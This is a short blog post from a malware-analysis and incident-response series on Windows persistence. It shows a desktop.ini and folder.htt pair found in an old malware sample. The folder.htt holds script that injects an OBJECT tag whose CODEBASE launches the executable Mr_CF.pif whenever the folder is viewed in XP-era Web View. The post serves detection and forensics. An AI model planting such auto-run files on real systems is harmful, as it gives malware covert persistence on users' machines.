Beyond good ol’ Run key, Part 49

November 5, 2016 in Autostart (Persistence), Compromise Detection, Forensic Analysis, Incident Response, Malware Analysis

I was reviewing the logs of my sandbox and came across a very old malware that was using an old-school trick as a way to increase its chances of survival – it used the desktop.ini / folder.htt combo that comes to play when the Web View is chosen for folders (XP or earlier). I know, I know.. it’s archaeology… but I checked my old posts in this series and realized I have not covered it yet, so I am fixing it now…

An example Desktop.ini created by the malware looks like this:

[.ShellClassInfo]
ConfirmFileOp=0
[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=file://Folder.htt
[ExtShellFolderViews]
{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}

and the associated folder.htt like this:

<html>
<head>
<meta http-equiv="content-type"content="text/html; charset=Windows-1252">
</head>
<body style="margin: 0" scroll=no>
<object id=FileList border=0 tabindex=1
classid= "clsid:1820FED0-473E-11D0-A96C-00C04FD705A2"
style="width: 100; height: 100" tabIndex=-1>
</object>
</body>
</html>
<script>
objectstr="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-oleobject\""
objectstr+="CODEBASE=\"Mr_CF.pif#version=1,1,1,1\">"
objectstr+="<PARAM NAME=\"_Version\" VALUE=\"65536\">"
objectstr+="</OBJECT>"
objectstr+="<HTML><H1></H1></HTML>";
document.writeln(objectstr);
document.close();
</script>

There is not much more I can write here… this is super old-school and I am just adding it for completeness.

Comments Off on Beyond good ol’ Run key, Part 49

Comments are closed.